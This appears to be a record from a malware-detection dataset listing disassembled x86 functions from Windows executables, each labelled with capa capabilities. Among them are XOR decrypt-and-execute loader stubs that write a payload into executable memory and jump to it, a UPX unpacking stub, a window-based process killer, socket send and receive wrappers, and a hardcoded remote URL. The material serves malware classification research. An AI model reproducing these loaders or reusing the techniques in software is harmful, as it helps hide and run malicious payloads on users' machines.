joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a620
Capabilities:
Access peb ldr_data
Get ntdll base address
Get process heap flags
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x4343ec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [esp + 4], esi
mov dword [esi], 0x436e00
lea ecx, [esi + 0x68]
mov dword [esp + 0x10], 0x13
call fcn.00407460
lea ecx, [esi + 0x5c]
mov byte [esp + 0x10], 0x12
call fcn.004285c0
lea ecx, [esi + 0x58]
mov byte [esp + 0x10], 0x11
call fcn.004285c0
lea ecx, [esi + 0x54]
mov byte [esp + 0x10], 0x10
call fcn.004285c0
lea ecx, [esi + 0x50]
mov byte [esp + 0x10], 0xf
call fcn.004285c0
lea ecx, [esi + 0x4c]
mov byte [esp + 0x10], 0xe
call fcn.004285c0
lea ecx, [esi + 0x48]
mov byte [esp + 0x10], 0xd
call fcn.004285c0
lea ecx, [esi + 0x40]
mov byte [esp + 0x10], 0xc
call fcn.004285c0
lea ecx, [esi + 0x3c]
mov byte [esp + 0x10], 0xb
call fcn.004285c0
lea ecx, [esi + 0x38]
mov byte [esp + 0x10], 0xa
call fcn.004285c0
lea ecx, [esi + 0x34]
mov byte [esp + 0x10], 9
call fcn.004285c0
lea ecx, [esi + 0x30]
mov byte [esp + 0x10], 8
call fcn.004285c0
lea ecx, [esi + 0x2c]
mov byte [esp + 0x10], 7
call fcn.004285c0
lea ecx, [esi + 0x20]
mov byte [esp + 0x10], 6
call fcn.004285c0
lea ecx, [esi + 0x1c]
mov byte [esp + 0x10], 5
call fcn.004285c0
lea ecx, [esi + 0x18]
mov byte [esp + 0x10], 4
call fcn.004285c0
lea ecx, [esi + 0x14]
mov byte [esp + 0x10], 3
call fcn.004285c0
lea ecx, [esi + 0x10]
mov byte [esp + 0x10], 2
call fcn.004285c0
lea ecx, [esi + 0xc]
mov byte [esp + 0x10], 1
call fcn.004285c0
lea ecx, [esi + 8]
mov byte [esp + 0x10], 0
call fcn.004285c0
lea ecx, [esi + 4]
mov dword [esp + 0x10], 0xffffffff
call fcn.004285c0
mov ecx, dword [esp + 8]
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x40aa90
Capabilities:
Print debug messages

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x434498
push eax
mov dword fs:[0], esp
push esi
mov eax, dword [esp + 0x14]
lea esi, [ecx + 0x10]
push eax
push str.http:__120.197.155.172:8880_
push str._s_s
push esi
mov dword [esp + 0x1c], 0
call fcn.0042582b
mov esi, dword [esi]
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 0xffffffff
call fcn.004285c0
mov ecx, dword [esp + 4]
pop esi
mov dword fs:[0], ecx
add esp, 0xc
ret 4

Function at 0x40ab00
Capabilities:
Print debug messages

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4344b8
push eax
mov dword fs:[0], esp
push esi
mov eax, dword [esp + 0x14]
lea esi, [ecx + 0x2c]
push eax
push str.http:__120.197.155.172:8880_
push str._s_s
push esi
mov dword [esp + 0x1c], 0
call fcn.0042582b
mov esi, dword [esi]
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 0xffffffff
call fcn.004285c0
mov ecx, dword [esp + 4]
pop esi
mov dword fs:[0], ecx
add esp, 0xc
ret 4

Function at 0x40ae80
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 4]
push edx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
ret 4
Function at 0x40b0ca
Capabilities:
Check if file exists

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4345a0
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x24], ebx
je 0x40b210
mov dword [esp + 0x14], ebx
lea ebp, [esi + 0xc]
push 0x448b58
lea ecx, [esp + 0x14]
call fcn.0042862e
mov eax, dword [ebp]
mov dword [esp + 0x30], ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b136
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push ebp
call fcn.00428335
lea eax, [esp + 0x1c]
lea ecx, [esi + 0x68]
push eax
call fcn.00407470
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 1
call fcn.004286f9
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], bl
call fcn.004285c0
mov eax, dword [esi + 0x20]
mov ecx, dword [esp + 0x10]
push eax
push ecx
call fcn.0041355f
add esp, 8
test eax, eax
je 0x40b1ff
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push ebp
call fcn.00428335
push ecx
lea edx, [esi + 0x1c]
mov ecx, esp
mov dword [esp + 0x2c], esp
push edx
mov byte [esp + 0x3c], 2
call fcn.00428335
lea edi, [esi + 0x68]
mov byte [esp + 0x38], bl
mov ecx, edi
call fcn.00407610
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push ebp
call fcn.00428335
lea eax, [esp + 0x20]
mov ecx, edi
push eax
call fcn.00407470
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 3
call fcn.004286f9
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], bl
call fcn.004285c0
mov eax, dword [esi + 0x20]
mov ecx, dword [esp + 0x10]
push eax
push ecx
call fcn.0041355f
add esp, 8
mov dword [esp + 0x30], 0xffffffff
test eax, eax
lea ecx, [esp + 0x10]
je 0x40b20b
call fcn.004285c0
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0xa
mov dword [esp + 0x14], eax
jl 0x40b0e0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.004285c0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x24
ret
Function at 0x423b20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00413530
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x423beb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x423beb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x423b9e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x423ba9
or bh, 8
and edi, 0x8000000
je 0x423bc4
mov eax, dword [0x44cc3c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x423beb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423fc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x423feb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x42400f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x42402a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x427f57
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x4347a0
call fcn.00413d1c
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.0042f6ec
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x427f96
call fcn.0042f6ec
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x427fa4
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x427fb2
or eax, 0xffffffff
jmp 0x42809a
mov ecx, esi
call fcn.00427ecd
mov dword [ebp - 0x14], eax
call fcn.0042950e
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x427fe9
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x427fe9
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.004294c2
push dword [ebp - 0x14]
call fcn.00428ff3
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00427c65
cmp eax, edi
je 0x42805c
test byte [esi + 0x24], 0x10
je 0x42802a
push 4
mov ecx, esi
pop ebx
call fcn.0042b74c
test ah, 1
je 0x428022
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0042b118
cmp dword [esi + 0x1c], edi
je 0x42805c
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0042b832
jmp 0x42805c
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x428070
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x428089
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x428089
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00427f07
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x4299be
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4299f6
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00428a52
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00428a2a
jmp 0x429a02
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x42afc6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x42b008
call fcn.0042f6ec
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x42b008
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42afff
xor eax, eax
jmp 0x42b010
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0042b016
pop edi
pop esi
pop ebx
ret 4

Function at 0x43248a
Capabilities:
Receive data
Receive data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call sub.WSOCK32.dll_recv
ret 0xc

Function at 0x4324a1
Capabilities:
Send data
Send data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call sub.WSOCK32.dll_send
ret 0xc
Function at 0x783ef0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2d7000]
push edi
or ebp, 0xffffffff
jmp 0x783f12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x783f19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x783f08
mov eax, 1
add ebx, ebx
jne 0x783f2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x783f3c
jne 0x783f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x783f5b
dec eax
add ebx, ebx
jne 0x783f48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x783f20
add ebx, ebx
jne 0x783f57
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x783fad
xor ecx, ecx
sub eax, 3
jb 0x783f73
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x783fe2
sar eax, 1
mov ebp, eax
jmp 0x783f7e
add ebx, ebx
jne 0x783f7e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x783f4c
inc ecx
add ebx, ebx
jne 0x783f8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x783f4c
add ebx, ebx
jne 0x783f99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x783f8e
jne 0x783faa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x783f8e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x783fcc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x783fbe
jmp 0x783f0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x783fcc
add edi, ecx
jmp 0x783f0e
pop esi
mov edi, esi
mov ecx, 0x1d39ad
mov al, pe_nt_image_headers32
repne scasb al, byte es:[edi]
jne 0x784007
cmp byte [edi], 9
jne 0x783fec
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x783fea
lea edi, [esi + 0x37e000]
mov eax, dword [edi]
or eax, eax
je 0x784058
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x384200]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x38431c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x78400d
mov ecx, edi
jns 0x78403c
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x384324]
or eax, eax
je 0x784052
mov dword [ebx], eax
add ebx, 4
jmp 0x78402a
call dword [esi + 0x384320]
mov ebp, dword [esi + 0x384328]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x78408c
sub esp, 0xffffff80
jmp 0x4ecefb
Function at 0x3001ccbc
Capabilities:
Set thread local storage value

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax + 4]
mov edx, dword [eax]
cmp ecx, edx
jb 0x3001ccdd
mov eax, dword [eax + 8]
cmp ecx, eax
jb 0x3001ccdd
cmp edx, eax
jb 0x3001ccdd
add eax, 0x10000
cmp eax, ecx
jae 0x3001cd08
mov eax, dword [0x30036574]
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
push 0
push 0x35636561
call fcn.3002ee98
push 0
push 0
push 1
push 0xe0000001
call dword [sym.imp.kernel32.dll_RaiseException]
ret
Function at 0x3002ee98
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x3002eea7
pop dword [ebp - 0x4c]
mov eax, 0x516e23aa
add eax, 0xde94cafd
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x395c8
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x332affb1
add ecx, 0xccd53f96
xor edi, edi
add edi, eax
mov esi, 0x7ef4b126
sub esi, 0x4eedc126
add esi, dword [ebp - 0x4c]
mov ebx, 0x35e60c2
sub ebx, 0xb464e5a5
sub dword [ebp - 0x48], eax
mov edx, dword [esi]
add dword [ebp - 0x3c], esi
xor edx, ebx
sub dword [ebp - 0x34], 0x6d7da116
mov dword [edi], edx
add edi, 4
add esi, 0xe3ebadca
add esi, 0x1c14523a
loop 0x3002ef03
add eax, 0xefef
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x30000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x300305d2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3001b290]
jne 0x30031279
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x3006bce0], eax
mov dword [0x3006bcdc], ecx
mov dword [0x3006bcd8], edx
mov dword [0x3006bcd4], ebx
mov dword [0x3006bcd0], esi
mov dword [0x3006bccc], edi
mov word [0x3006bcf8], ss
mov word [0x3006bcec], cs
mov word [0x3006bcc8], ds
mov word [0x3006bcc4], es
mov word [0x3006bcc0], fs
mov word [0x3006bcbc], gs
pushfd
pop dword [0x3006bcf0]
mov eax, dword [ebp]
mov dword [0x3006bce4], eax
mov eax, dword [ebp + 4]
mov dword [0x3006bce8], eax
lea eax, [ebp + 8]
mov dword [0x3006bcf4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x3006bc30], 0x10001
mov eax, dword [0x3006bce8]
mov dword [0x3006bbe4], eax
mov dword [0x3006bbd8], 0xc0000409
mov dword [0x3006bbdc], 1
mov eax, dword [0x3001b290]
mov dword [ebp - 0x328], eax
mov eax, dword [0x300671ac]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x3006bc28], eax
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x3001b568
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x3006bc28], 0
jne 0x30031369
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x30030e08
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x30034158
call fcn.3003107e
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x3006bf28
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x30030bf8
cmp eax, esi
jne 0x30030beb
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x30030bfb
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x30030bd2
xor esi, esi
inc esi
mov eax, dword [0x3006bf24]
cmp eax, esi
jne 0x30030c0e
push 0x1f
call sub.msvcr80.dll__amsg_exit
pop ecx
jmp 0x30030c49
mov eax, dword [0x3006bf24]
test eax, eax
jne 0x30030c43
mov dword [0x3006bf24], esi
push 0x30001378
push 0x3000136c
call sub.msvcr80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x30030c49
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x30030d20
mov dword [0x3006bbd0], esi
mov eax, dword [0x3006bf24]
cmp eax, esi
jne 0x30030c6d
push 0x30001368
push 0x30001350
call sub.msvcr80.dll__initterm
pop ecx
pop ecx
mov dword [0x3006bf24], 2
cmp dword [ebp - 0x1c], ebx
jne 0x30030c7a
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x3006bf34], ebx
je 0x30030c9b
push 0x3006bf34
call fcn.3003143c
pop ecx
test eax, eax
je 0x30030c9b
push ebx
push 2
push ebx
call dword [0x3006bf34]
mov eax, dword [0x3006bbb8]
mov ecx, dword [sym.imp.msvcr80.dll___winitenv]
mov dword [ecx], eax
push dword [0x3006bbb8]
push dword [0x3006bbbc]
push dword [0x3006bbb4]
call fcn.3002ee98
add esp, 0xc
mov dword [0x3006bbcc], eax
cmp dword [0x3006bbc0], ebx
jne 0x30030d06
push eax
call dword [sym.imp.msvcr80.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcr80.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x3006bbd0], ebx
jne 0x30030d14
call dword [sym.imp.msvcr80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x3006bbcc]
call fcn.300310c3
ret
call fcn.3002ee98
jmp 0x30030bb0
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040a7e3
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040a7e3
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040a7e3
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040a7e3
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040a7e3
mov dword [0x41203c], eax
call fcn.0040a7e3
test eax, eax
jge 0x402550
push 8
call fcn.0040a7e3
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040a7e3
pop ecx
push 1
call fcn.0040a7e3
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040a7e3
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040a7e3
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040a7e3
jmp 0x402495

Function at 0x40a7e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40a7f2
pop dword [ebp - 0x20]
mov eax, 0x1c1802da
add eax, 0xe428a518
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3d3cb
push 0
mov eax, 0x5d172ff8
sub eax, 0x5cd64f20
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x581d
mov esi, eax
mov edi, 0x3ea88480
sub edi, 0x3e6748bc
add edi, dword [ebp - 0x20]
mov edx, 0xa5a0625
sub edx, 0xa72211
mov ebx, dword [edi]
xor dword [ebp - 4], 0x4a14ded4
xor ebx, edx
mov dword [ebp - 0x14], 0x158f8fa9
mov dword [esi], ebx
mov dword [ebp - 0x10], 0xe29ccb0f
add esi, 0x140ab55
sub esi, 0x140ab51
add edi, 0x21358984
add edi, 0xdeca7680
loop 0x40a84b
add eax, 0x6fec0c5b
add eax, 0x901546ec
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret